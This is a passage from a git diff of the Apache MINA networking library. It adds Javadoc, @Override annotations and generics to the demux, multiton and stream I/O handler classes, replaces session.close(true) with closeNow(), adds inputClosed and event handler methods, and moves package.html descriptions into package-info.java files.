ExceptionHandler> exceptionHandlers = new ConcurrentHashMap<>(); /** * Creates a new instance with no registered {@link MessageHandler}s. @@ -106,14 +96,17 @@ public DemuxingIoHandler() { /** * Registers a {@link MessageHandler} that handles the received messages of * the specified type. - * + * + * @param The message handler's type + * @param type The message's type + * @param handler The message handler * @return the old handler if there is already a registered handler for - * the specified type. null otherwise. + * the specified type. null otherwise. */ @SuppressWarnings("unchecked") - public MessageHandler addReceivedMessageHandler(Class type, - MessageHandler handler) { + public MessageHandler addReceivedMessageHandler(Class type, MessageHandler handler) { receivedMessageHandlerCache.clear(); + return (MessageHandler) receivedMessageHandlers.put(type, handler); } @@ -121,11 +114,14 @@ public MessageHandler addReceivedMessageHandler(Class type, * Deregisters a {@link MessageHandler} that handles the received messages * of the specified type. * - * @return the removed handler if successfully removed. null otherwise. + * @param The message handler's type + * @param type The message's type + * @return the removed handler if successfully removed. null otherwise. */ @SuppressWarnings("unchecked") public MessageHandler removeReceivedMessageHandler(Class type) { receivedMessageHandlerCache.clear(); + return (MessageHandler) receivedMessageHandlers.remove(type); } @@ -133,13 +129,16 @@ public MessageHandler removeReceivedMessageHandler(Class type) * Registers a {@link MessageHandler} that handles the sent messages of the * specified type. * + * @param The message handler's type + * @param type The message's type + * @param handler The message handler * @return the old handler if there is already a registered handler for - * the specified type. null otherwise. + * the specified type. null otherwise. */ @SuppressWarnings("unchecked") - public MessageHandler addSentMessageHandler(Class type, - MessageHandler handler) { + public MessageHandler addSentMessageHandler(Class type, MessageHandler handler) { sentMessageHandlerCache.clear(); + return (MessageHandler) sentMessageHandlers.put(type, handler); } @@ -147,26 +146,32 @@ public MessageHandler addSentMessageHandler(Class type, * Deregisters a {@link MessageHandler} that handles the sent messages of * the specified type. * - * @return the removed handler if successfully removed. null otherwise. + * @param The message handler's type + * @param type The message's type + * @return the removed handler if successfully removed. null otherwise. */ @SuppressWarnings("unchecked") public MessageHandler removeSentMessageHandler(Class type) { sentMessageHandlerCache.clear(); + return (MessageHandler) sentMessageHandlers.remove(type); } - + /** * Registers a {@link MessageHandler} that receives the messages of * the specified type. * + * @param The message handler's type + * @param type The message's type + * @param handler The Exception handler * @return the old handler if there is already a registered handler for - * the specified type. null otherwise. + * the specified type. null otherwise. */ @SuppressWarnings("unchecked") - public - ExceptionHandler addExceptionHandler( - Class type, ExceptionHandler handler) { + public ExceptionHandler addExceptionHandler(Class type, + ExceptionHandler handler) { exceptionHandlerCache.clear(); + return (ExceptionHandler) exceptionHandlers.put(type, handler); } @@ -174,18 +179,22 @@ ExceptionHandler addExceptionHandler( * Deregisters a {@link MessageHandler} that receives the messages of * the specified type. * - * @return the removed handler if successfully removed. null otherwise. + * @param The Exception Handler's type + * @param type The message's type + * @return the removed handler if successfully removed. null otherwise. */ @SuppressWarnings("unchecked") - public ExceptionHandler - removeExceptionHandler(Class type) { + public ExceptionHandler removeExceptionHandler(Class type) { exceptionHandlerCache.clear(); + return (ExceptionHandler) exceptionHandlers.remove(type); } /** - * Returns the {@link MessageHandler} which is registered to process + * @return the {@link MessageHandler} which is registered to process * the specified type. + * @param The message handler's type + * @param type The message's type */ @SuppressWarnings("unchecked") public MessageHandler getMessageHandler(Class type) { @@ -193,7 +202,7 @@ public MessageHandler getMessageHandler(Class type) { } /** - * Returns the {@link Map} which contains all messageType-{@link MessageHandler} + * @return the {@link Map} which contains all messageType-{@link MessageHandler} * pairs registered to this handler for received messages. */ public Map, MessageHandler> getReceivedMessageHandlerMap() { @@ -201,7 +210,7 @@ public Map, MessageHandler> getReceivedMessageHandlerMap() { } /** - * Returns the {@link Map} which contains all messageType-{@link MessageHandler} + * @return the {@link Map} which contains all messageType-{@link MessageHandler} * pairs registered to this handler for sent messages. */ public Map, MessageHandler> getSentMessageHandlerMap() { @@ -209,7 +218,7 @@ public Map, MessageHandler> getSentMessageHandlerMap() { } /** - * Returns the {@link Map} which contains all messageType-{@link MessageHandler} + * @return the {@link Map} which contains all messageType-{@link MessageHandler} * pairs registered to this handler. */ public Map, ExceptionHandler> getExceptionHandlerMap() { @@ -223,17 +232,18 @@ public Map, ExceptionHandler> getExceptionHandlerMap() { * Warning ! If you are to overload this method, be aware that you * _must_ call the messageHandler in your own method, otherwise it won't * be called. + * + * {@inheritDoc} */ @Override - public void messageReceived(IoSession session, Object message) - throws Exception { + public void messageReceived(IoSession session, Object message) throws Exception { MessageHandler handler = findReceivedMessageHandler(message.getClass()); + if (handler != null) { handler.handleMessage(session, message); } else { - throw new UnknownMessageTypeException( - "No message handler found for message type: " + - message.getClass().getSimpleName()); + throw new UnknownMessageTypeException("No message handler found for message type: " + + message.getClass().getSimpleName()); } } @@ -243,16 +253,18 @@ public void messageReceived(IoSession session, Object message) * Warning ! If you are to overload this method, be aware that you * _must_ call the messageHandler in your own method, otherwise it won't * be called. + * + * {@inheritDoc} */ @Override public void messageSent(IoSession session, Object message) throws Exception { MessageHandler handler = findSentMessageHandler(message.getClass()); + if (handler != null) { handler.handleMessage(session, message); } else { - throw new UnknownMessageTypeException( - "No handler found for message type: " + - message.getClass().getSimpleName()); + throw new UnknownMessageTypeException("No handler found for message type: " + + message.getClass().getSimpleName()); } } @@ -264,16 +276,18 @@ public void messageSent(IoSession session, Object message) throws Exception { * Warning ! If you are to overload this method, be aware that you * _must_ call the messageHandler in your own method, otherwise it won't * be called. + * + * {@inheritDoc} */ @Override public void exceptionCaught(IoSession session, Throwable cause) throws Exception { ExceptionHandler handler = findExceptionHandler(cause.getClass()); + if (handler != null) { handler.exceptionCaught(session, cause); } else { - throw new UnknownMessageTypeException( - "No handler found for exception type: " + - cause.getClass().getSimpleName()); + throw new UnknownMessageTypeException("No handler found for exception type: " + + cause.getClass().getSimpleName()); } } @@ -290,44 +304,32 @@ protected ExceptionHandler findExceptionHandler(Class findReceivedMessageHandler( - Class type, Set triedClasses) { - - return (MessageHandler) findHandler( - receivedMessageHandlers, receivedMessageHandlerCache, type, triedClasses); + private MessageHandler findReceivedMessageHandler(Class type, Set> triedClasses) { + return (MessageHandler) findHandler(receivedMessageHandlers, receivedMessageHandlerCache, type, + triedClasses); } @SuppressWarnings("unchecked") - private MessageHandler findSentMessageHandler( - Class type, Set triedClasses) { - - return (MessageHandler) findHandler( - sentMessageHandlers, sentMessageHandlerCache, type, triedClasses); + private MessageHandler findSentMessageHandler(Class type, Set> triedClasses) { + return (MessageHandler) findHandler(sentMessageHandlers, sentMessageHandlerCache, type, triedClasses); } @SuppressWarnings("unchecked") - private ExceptionHandler findExceptionHandler( - Class type, Set triedClasses) { - - return (ExceptionHandler) findHandler( - exceptionHandlers, exceptionHandlerCache, type, triedClasses); + private ExceptionHandler findExceptionHandler(Class type, Set> triedClasses) { + return (ExceptionHandler) findHandler(exceptionHandlers, exceptionHandlerCache, type, triedClasses); } @SuppressWarnings("unchecked") - private Object findHandler( - Map handlers, Map handlerCache, - Class type, Set triedClasses) { - - Object handler = null; - - if (triedClasses != null && triedClasses.contains(type)) { + private Object findHandler(Map,?> handlers, Map handlerCache, Class type, Set> triedClasses) { + if ((triedClasses != null) && (triedClasses.contains(type))) { return null; } /* * Try the cache first. */ - handler = handlerCache.get(type); + Object handler = handlerCache.get(type); + if (handler != null) { return handler; } @@ -343,13 +345,16 @@ private Object findHandler( */ if (triedClasses == null) { - triedClasses = new IdentityHashSet(); + triedClasses = new IdentityHashSet<>(); } + triedClasses.add(type); - Class[] interfaces = type.getInterfaces(); - for (Class element : interfaces) { + Class[] interfaces = type.getInterfaces(); + + for (Class element : interfaces) { handler = findHandler(handlers, handlerCache, element, triedClasses); + if (handler != null) { break; } @@ -361,7 +366,8 @@ private Object findHandler( * No match in type's interfaces could be found. Search the * superclass. */ - Class superclass = type.getSuperclass(); + Class superclass = type.getSuperclass(); + if (superclass != null) { handler = findHandler(handlers, handlerCache, superclass, null); } diff --git a/mina-core/src/main/java/org/apache/mina/handler/demux/ExceptionHandler.java b/mina-core/src/main/java/org/apache/mina/handler/demux/ExceptionHandler.java index 51992ab9f7..fc59115019 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/demux/ExceptionHandler.java +++ b/mina-core/src/main/java/org/apache/mina/handler/demux/ExceptionHandler.java @@ -26,6 +26,8 @@ * exceptionCaught events to. You have to register your * handler with the type of exception you want to get notified using * {@link DemuxingIoHandler#addExceptionHandler(Class, ExceptionHandler)}. + * + * @param The exception type * * @author Apache MINA Project */ @@ -34,7 +36,11 @@ public interface ExceptionHandler { * A {@link ExceptionHandler} that does nothing. This is useful when * you want to ignore an exception of a specific type silently. */ - static ExceptionHandler NOOP = new ExceptionHandler() { + ExceptionHandler NOOP = new ExceptionHandler() { + /** + * {@inheritDoc} + */ + @Override public void exceptionCaught(IoSession session, Throwable cause) { // Do nothing } @@ -45,15 +51,23 @@ public void exceptionCaught(IoSession session, Throwable cause) { * This is useful when you want to close the session when an exception of * a specific type is raised. */ - static ExceptionHandler CLOSE = new ExceptionHandler() { + ExceptionHandler CLOSE = new ExceptionHandler() { + /** + * {@inheritDoc} + */ + @Override public void exceptionCaught(IoSession session, Throwable cause) { - session.close(true); + session.closeNow(); } }; /** * Invoked when the specific type of exception is caught from the * specified session. + * + * @param session The current session + * @param cause the exception's cause + * @throws Exception If we can't process the event */ void exceptionCaught(IoSession session, E cause) throws Exception; } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/handler/demux/MessageHandler.java b/mina-core/src/main/java/org/apache/mina/handler/demux/MessageHandler.java index b594100bbd..b2520a6f21 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/demux/MessageHandler.java +++ b/mina-core/src/main/java/org/apache/mina/handler/demux/MessageHandler.java @@ -23,19 +23,24 @@ /** * A handler interface that {@link DemuxingIoHandler} forwards - * messageReceived or messageSent events to. You have to + * messageReceived or messageSent events to. You have to * register your handler with the type of the message you want to get notified * using {@link DemuxingIoHandler#addReceivedMessageHandler(Class, MessageHandler)} * or {@link DemuxingIoHandler#addSentMessageHandler(Class, MessageHandler)}. * + * @param The message type * @author Apache MINA Project */ -public interface MessageHandler { +public interface MessageHandler { /** * A {@link MessageHandler} that does nothing. This is useful when * you want to ignore a message of a specific type silently. */ - static MessageHandler NOOP = new MessageHandler() { + MessageHandler NOOP = new MessageHandler() { + /** + * {@inheritDoc} + */ + @Override public void handleMessage(IoSession session, Object message) { // Do nothing } @@ -49,5 +54,5 @@ public void handleMessage(IoSession session, Object message) { * @param message the message to decode. Its type is set by the implementation * @throws Exception if there is an error during the message processing */ - void handleMessage(IoSession session, E message) throws Exception; + void handleMessage(IoSession session, M message) throws Exception; } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/handler/demux/package-info.java b/mina-core/src/main/java/org/apache/mina/handler/demux/package-info.java new file mode 100644 index 0000000000..de3f8c96aa --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/handler/demux/package-info.java @@ -0,0 +1,27 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * A handler implementation that helps you implement complex protocols by splitting + * messageReceived handlers into multiple sub-handlers. + * + * @author Apache MINA Project + */ +package org.apache.mina.handler.demux; diff --git a/mina-core/src/main/java/org/apache/mina/handler/demux/package.html b/mina-core/src/main/java/org/apache/mina/handler/demux/package.html deleted file mode 100644 index d16e8fa689..0000000000 --- a/mina-core/src/main/java/org/apache/mina/handler/demux/package.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - -A handler implementation that helps you implement complex protocols -by splitting messageReceived handlers into multiple sub-handlers. - - diff --git a/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandler.java b/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandler.java index 6db764572a..86c1484c02 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandler.java +++ b/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandler.java @@ -24,6 +24,7 @@ import org.apache.mina.core.service.IoHandler; import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.FilterEvent; /** * A session handler without an {@link IoSession} parameter for simplicity. @@ -38,9 +39,11 @@ * conversational state as instance variables in this object. *

    * - * WARNING: This class is badly named as the actual {@link IoHandler} implementor + * WARNING: This class is badly named as the actual {@link IoHandler} implementor * is in fact the {@link SingleSessionIoHandlerDelegate}. * + * @deprecated This class is not to be used anymore + * * @author Apache MINA Project */ @Deprecated @@ -50,7 +53,7 @@ public interface SingleSessionIoHandler { * Invoked when the session is created. Initialize default socket parameters * and user-defined attributes here. * - * @throws Exception + * @throws Exception If the session can't be created * @see IoHandler#sessionCreated(IoSession) */ void sessionCreated() throws Exception; @@ -59,6 +62,7 @@ public interface SingleSessionIoHandler { * Invoked when the connection is opened. This method is not invoked if the * transport type is UDP. * + * @throws Exception If the session can't be opened * @see IoHandler#sessionOpened(IoSession) */ void sessionOpened() throws Exception; @@ -67,6 +71,7 @@ public interface SingleSessionIoHandler { * Invoked when the connection is closed. This method is not invoked if the * transport type is UDP. * + * @throws Exception If the session can't be closed * @see IoHandler#sessionClosed(IoSession) */ void sessionClosed() throws Exception; @@ -76,6 +81,7 @@ public interface SingleSessionIoHandler { * method is not invoked if the transport type is UDP. * * @param status the type of idleness + * @throws Exception If the idle event can't be handled * @see IoHandler#sessionIdle(IoSession, IdleStatus) */ void sessionIdle(IdleStatus status) throws Exception; @@ -86,15 +92,24 @@ public interface SingleSessionIoHandler { * {@link IOException}, MINA will close the connection automatically. * * @param cause the caught exception + * @throws Exception If the exception can't be handled * @see IoHandler#exceptionCaught(IoSession, Throwable) */ void exceptionCaught(Throwable cause) throws Exception; + /** + * Invoked when a half-duplex connection is closed + * + * @param session The current session + */ + void inputClosed(IoSession session); + /** * Invoked when protocol message is received. Implement your protocol flow * here. * * @param message the received message + * @throws Exception If the received message can't be processed * @see IoHandler#messageReceived(IoSession, Object) */ void messageReceived(Object message) throws Exception; @@ -104,8 +119,18 @@ public interface SingleSessionIoHandler { * {@link IoSession#write(Object)} is sent out actually. * * @param message the sent message + * @throws Exception If the sent message can't be processed * @see IoHandler#messageSent(IoSession, Object) */ void messageSent(Object message) throws Exception; + + /** + * Invoked when a filter event is fired. Each filter might sent a different event, + * this is very application specific. + * + * @param event The event to process + * @throws Exception If we get an exception while processing the event + */ + void event(FilterEvent event) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandlerAdapter.java b/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandlerAdapter.java index 181f6f3cfe..4827a57c73 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandlerAdapter.java +++ b/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandlerAdapter.java @@ -21,11 +21,14 @@ import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.FilterEvent; /** * Adapter class for implementors of the {@link SingleSessionIoHandler} * interface. The session to which the handler is assigned is accessible - * through the {@link #getSession()} method. + * through the getSession() method. + * + * @deprecated This class is deprecated * * @author Apache MINA Project */ @@ -46,6 +49,7 @@ public SingleSessionIoHandlerAdapter(IoSession session) { if (session == null) { throw new IllegalArgumentException("session"); } + this.session = session; } @@ -58,31 +62,75 @@ protected IoSession getSession() { return session; } + /** + * {@inheritDoc} + */ + @Override public void exceptionCaught(Throwable th) throws Exception { // Do nothing } + /** + * {@inheritDoc} + */ + @Override + public void inputClosed(IoSession session) { + // Do nothing + } + + /** + * {@inheritDoc} + */ + @Override public void messageReceived(Object message) throws Exception { // Do nothing } + /** + * {@inheritDoc} + */ + @Override public void messageSent(Object message) throws Exception { // Do nothing } + /** + * {@inheritDoc} + */ + @Override public void sessionClosed() throws Exception { // Do nothing } + /** + * {@inheritDoc} + */ + @Override public void sessionCreated() throws Exception { // Do nothing } + /** + * {@inheritDoc} + */ + @Override public void sessionIdle(IdleStatus status) throws Exception { // Do nothing } + /** + * {@inheritDoc} + */ + @Override public void sessionOpened() throws Exception { // Do nothing } + + /** + * {@inheritDoc} + */ + @Override + public void event(FilterEvent event) throws Exception { + // Do nothing + } } diff --git a/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandlerDelegate.java b/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandlerDelegate.java index 7735a2476b..6d794b9b99 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandlerDelegate.java +++ b/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandlerDelegate.java @@ -23,6 +23,7 @@ import org.apache.mina.core.session.AttributeKey; import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.FilterEvent; /** * An {@link IoHandler} implementation which delegates all requests to @@ -30,11 +31,13 @@ * is used to create a new {@link SingleSessionIoHandler} for each newly * created session. * - * WARNING : This {@link IoHandler} implementation may be easier to understand and - * thus to use but the user should be aware that creating one handler by session + * WARNING : This {@link IoHandler} implementation may be easier to understand and + * thus to use but the user should be aware that creating one handler by session * will lower scalability if building an high performance server. This should only * be used with very specific needs in mind. * + * @deprecated This class is deprecated + * * @author Apache MINA Project */ @Deprecated @@ -66,7 +69,7 @@ public SingleSessionIoHandlerDelegate(SingleSessionIoHandlerFactory factory) { } /** - * Returns the {@link SingleSessionIoHandlerFactory} that is used to create a new + * @return the {@link SingleSessionIoHandlerFactory} that is used to create a new * {@link SingleSessionIoHandler} instance. */ public SingleSessionIoHandlerFactory getFactory() { @@ -77,9 +80,10 @@ public SingleSessionIoHandlerFactory getFactory() { * Creates a new instance with the factory passed to the constructor of * this class. The created handler is stored as a session * attribute named {@link #HANDLER}. - * + * * @see org.apache.mina.core.service.IoHandler#sessionCreated(org.apache.mina.core.session.IoSession) */ + @Override public void sessionCreated(IoSession session) throws Exception { SingleSessionIoHandler handler = factory.getHandler(session); session.setAttribute(HANDLER, handler); @@ -90,10 +94,12 @@ public void sessionCreated(IoSession session) throws Exception { * Delegates the method call to the * {@link SingleSessionIoHandler#sessionOpened()} method of the handler * assigned to this session. + * + * {@inheritDoc} */ + @Override public void sessionOpened(IoSession session) throws Exception { - SingleSessionIoHandler handler = (SingleSessionIoHandler) session - .getAttribute(HANDLER); + SingleSessionIoHandler handler = (SingleSessionIoHandler) session.getAttribute(HANDLER); handler.sessionOpened(); } @@ -101,10 +107,12 @@ public void sessionOpened(IoSession session) throws Exception { * Delegates the method call to the * {@link SingleSessionIoHandler#sessionClosed()} method of the handler * assigned to this session. + * + * {@inheritDoc} */ + @Override public void sessionClosed(IoSession session) throws Exception { - SingleSessionIoHandler handler = (SingleSessionIoHandler) session - .getAttribute(HANDLER); + SingleSessionIoHandler handler = (SingleSessionIoHandler) session.getAttribute(HANDLER); handler.sessionClosed(); } @@ -112,11 +120,12 @@ public void sessionClosed(IoSession session) throws Exception { * Delegates the method call to the * {@link SingleSessionIoHandler#sessionIdle(IdleStatus)} method of the * handler assigned to this session. + * + * {@inheritDoc} */ - public void sessionIdle(IoSession session, IdleStatus status) - throws Exception { - SingleSessionIoHandler handler = (SingleSessionIoHandler) session - .getAttribute(HANDLER); + @Override + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { + SingleSessionIoHandler handler = (SingleSessionIoHandler) session.getAttribute(HANDLER); handler.sessionIdle(status); } @@ -124,11 +133,12 @@ public void sessionIdle(IoSession session, IdleStatus status) * Delegates the method call to the * {@link SingleSessionIoHandler#exceptionCaught(Throwable)} method of the * handler assigned to this session. + * + * {@inheritDoc} */ - public void exceptionCaught(IoSession session, Throwable cause) - throws Exception { - SingleSessionIoHandler handler = (SingleSessionIoHandler) session - .getAttribute(HANDLER); + @Override + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { + SingleSessionIoHandler handler = (SingleSessionIoHandler) session.getAttribute(HANDLER); handler.exceptionCaught(cause); } @@ -136,11 +146,12 @@ public void exceptionCaught(IoSession session, Throwable cause) * Delegates the method call to the * {@link SingleSessionIoHandler#messageReceived(Object)} method of the * handler assigned to this session. + * + * {@inheritDoc} */ - public void messageReceived(IoSession session, Object message) - throws Exception { - SingleSessionIoHandler handler = (SingleSessionIoHandler) session - .getAttribute(HANDLER); + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + SingleSessionIoHandler handler = (SingleSessionIoHandler) session.getAttribute(HANDLER); handler.messageReceived(message); } @@ -148,10 +159,34 @@ public void messageReceived(IoSession session, Object message) * Delegates the method call to the * {@link SingleSessionIoHandler#messageSent(Object)} method of the handler * assigned to this session. + * + * {@inheritDoc} */ + @Override public void messageSent(IoSession session, Object message) throws Exception { - SingleSessionIoHandler handler = (SingleSessionIoHandler) session - .getAttribute(HANDLER); + SingleSessionIoHandler handler = (SingleSessionIoHandler) session.getAttribute(HANDLER); handler.messageSent(message); } + + /** + * {@inheritDoc} + */ + @Override + public void inputClosed(IoSession session) throws Exception { + SingleSessionIoHandler handler = (SingleSessionIoHandler) session.getAttribute(HANDLER); + handler.inputClosed(session); + } + + /** + * Delegates the method call to the + * {@link SingleSessionIoHandler#event(FilterEvent)} method of the handler + * assigned to this session. + * + * {@inheritDoc} + */ + @Override + public void event(IoSession session, FilterEvent event) throws Exception { + SingleSessionIoHandler handler = (SingleSessionIoHandler) session.getAttribute(HANDLER); + handler.event(event); + } } diff --git a/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandlerFactory.java b/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandlerFactory.java index 445207ec5c..01280fac04 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandlerFactory.java +++ b/mina-core/src/main/java/org/apache/mina/handler/multiton/SingleSessionIoHandlerFactory.java @@ -26,6 +26,8 @@ * particular session. * * @see SingleSessionIoHandler + * + * @deprecated this class is deprecated * * @author Apache MINA Project */ @@ -33,9 +35,10 @@ public interface SingleSessionIoHandlerFactory { /** - * Returns a {@link SingleSessionIoHandler} for the given session. + * @return a {@link SingleSessionIoHandler} for the given session. * * @param session the session for which a handler is requested + * @throws Exception If we can't get the handler */ SingleSessionIoHandler getHandler(IoSession session) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/handler/multiton/package-info.java b/mina-core/src/main/java/org/apache/mina/handler/multiton/package-info.java new file mode 100644 index 0000000000..ca5f068d51 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/handler/multiton/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Enables creating a handler per session instead of having one handler for many sessions, using Multiton pattern. + * + * @author Apache MINA Project + */ +package org.apache.mina.handler.multiton; diff --git a/mina-core/src/main/java/org/apache/mina/handler/multiton/package.html b/mina-core/src/main/java/org/apache/mina/handler/multiton/package.html deleted file mode 100644 index 12e69a1107..0000000000 --- a/mina-core/src/main/java/org/apache/mina/handler/multiton/package.html +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - -Enables creating a handler per session instead of having one handler for many -sessions, using -Multiton pattern. - - diff --git a/mina-core/src/main/java/org/apache/mina/handler/package-info.java b/mina-core/src/main/java/org/apache/mina/handler/package-info.java new file mode 100644 index 0000000000..5e4d36bb6f --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/handler/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Useful IoHandler implementations. + * + * @author Apache MINA Project + */ +package org.apache.mina.handler; diff --git a/mina-core/src/main/java/org/apache/mina/handler/package.html b/mina-core/src/main/java/org/apache/mina/handler/package.html deleted file mode 100644 index 14cea112aa..0000000000 --- a/mina-core/src/main/java/org/apache/mina/handler/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Useful IoHandler implementations. - - diff --git a/mina-core/src/main/java/org/apache/mina/handler/stream/IoSessionInputStream.java b/mina-core/src/main/java/org/apache/mina/handler/stream/IoSessionInputStream.java index ffcd29c761..39ce3d23e7 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/stream/IoSessionInputStream.java +++ b/mina-core/src/main/java/org/apache/mina/handler/stream/IoSessionInputStream.java @@ -115,8 +115,7 @@ private boolean waitForData() throws IOException { try { mutex.wait(); } catch (InterruptedException e) { - IOException ioe = new IOException( - "Interrupted while waiting for more data"); + IOException ioe = new IOException("Interrupted while waiting for more data"); ioe.initCause(e); throw ioe; } diff --git a/mina-core/src/main/java/org/apache/mina/handler/stream/IoSessionOutputStream.java b/mina-core/src/main/java/org/apache/mina/handler/stream/IoSessionOutputStream.java index a5680c504d..c5213a51cb 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/stream/IoSessionOutputStream.java +++ b/mina-core/src/main/java/org/apache/mina/handler/stream/IoSessionOutputStream.java @@ -46,7 +46,7 @@ public void close() throws IOException { try { flush(); } finally { - session.close(true).awaitUninterruptibly(); + session.closeNow().awaitUninterruptibly(); } } @@ -83,8 +83,7 @@ public synchronized void flush() throws IOException { lastWriteFuture.awaitUninterruptibly(); if (!lastWriteFuture.isWritten()) { - throw new IOException( - "The bytes could not be written to the session"); + throw new IOException("The bytes could not be written to the session"); } } } diff --git a/mina-core/src/main/java/org/apache/mina/handler/stream/StreamIoHandler.java b/mina-core/src/main/java/org/apache/mina/handler/stream/StreamIoHandler.java index 82b6da9f51..80fa9a74f8 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/stream/StreamIoHandler.java +++ b/mina-core/src/main/java/org/apache/mina/handler/stream/StreamIoHandler.java @@ -37,7 +37,7 @@ * A {@link IoHandler} that adapts asynchronous MINA events to stream I/O. *

    * Please extend this class and implement - * {@link #processStreamIo(IoSession, InputStream, OutputStream)} to + * processStreamIo(IoSession, InputStream, OutputStream) to * execute your stream I/O logic; please note that you must forward * the process request to other thread or thread pool. * @@ -45,8 +45,9 @@ */ public abstract class StreamIoHandler extends IoHandlerAdapter { private final static Logger LOGGER = LoggerFactory.getLogger(StreamIoHandler.class); - + private static final AttributeKey KEY_IN = new AttributeKey(StreamIoHandler.class, "in"); + private static final AttributeKey KEY_OUT = new AttributeKey(StreamIoHandler.class, "out"); private int readTimeout; @@ -61,13 +62,16 @@ protected StreamIoHandler() { * Implement this method to execute your stream I/O logic; * please note that you must forward the process request to other * thread or thread pool. + * + * @param session The current session + * @param in The input stream + * @param out The output stream */ - protected abstract void processStreamIo(IoSession session, InputStream in, - OutputStream out); + protected abstract void processStreamIo(IoSession session, InputStream in, OutputStream out); /** - * Returns read timeout in seconds. - * The default value is 0 (disabled). + * @return read timeout in seconds. + * The default value is 0 (disabled). */ public int getReadTimeout() { return readTimeout; @@ -75,15 +79,16 @@ public int getReadTimeout() { /** * Sets read timeout in seconds. - * The default value is 0 (disabled). + * The default value is 0 (disabled). + * @param readTimeout The Read timeout */ public void setReadTimeout(int readTimeout) { this.readTimeout = readTimeout; } /** - * Returns write timeout in seconds. - * The default value is 0 (disabled). + * @return write timeout in seconds. + * The default value is 0 (disabled). */ public int getWriteTimeout() { return writeTimeout; @@ -91,7 +96,9 @@ public int getWriteTimeout() { /** * Sets write timeout in seconds. - * The default value is 0 (disabled). + * The default value is 0 (disabled). + * + * @param writeTimeout The Write timeout */ public void setWriteTimeout(int writeTimeout) { this.writeTimeout = writeTimeout; @@ -133,8 +140,7 @@ public void sessionClosed(IoSession session) throws Exception { */ @Override public void messageReceived(IoSession session, Object buf) { - final IoSessionInputStream in = (IoSessionInputStream) session - .getAttribute(KEY_IN); + final IoSessionInputStream in = (IoSessionInputStream) session.getAttribute(KEY_IN); in.write((IoBuffer) buf); } @@ -143,8 +149,7 @@ public void messageReceived(IoSession session, Object buf) { */ @Override public void exceptionCaught(IoSession session, Throwable cause) { - final IoSessionInputStream in = (IoSessionInputStream) session - .getAttribute(KEY_IN); + final IoSessionInputStream in = (IoSessionInputStream) session.getAttribute(KEY_IN); IOException e = null; if (cause instanceof StreamIoException) { @@ -157,7 +162,7 @@ public void exceptionCaught(IoSession session, Throwable cause) { in.throwException(e); } else { LOGGER.warn("Unexpected exception.", cause); - session.close(true); + session.closeNow(); } } @@ -167,8 +172,7 @@ public void exceptionCaught(IoSession session, Throwable cause) { @Override public void sessionIdle(IoSession session, 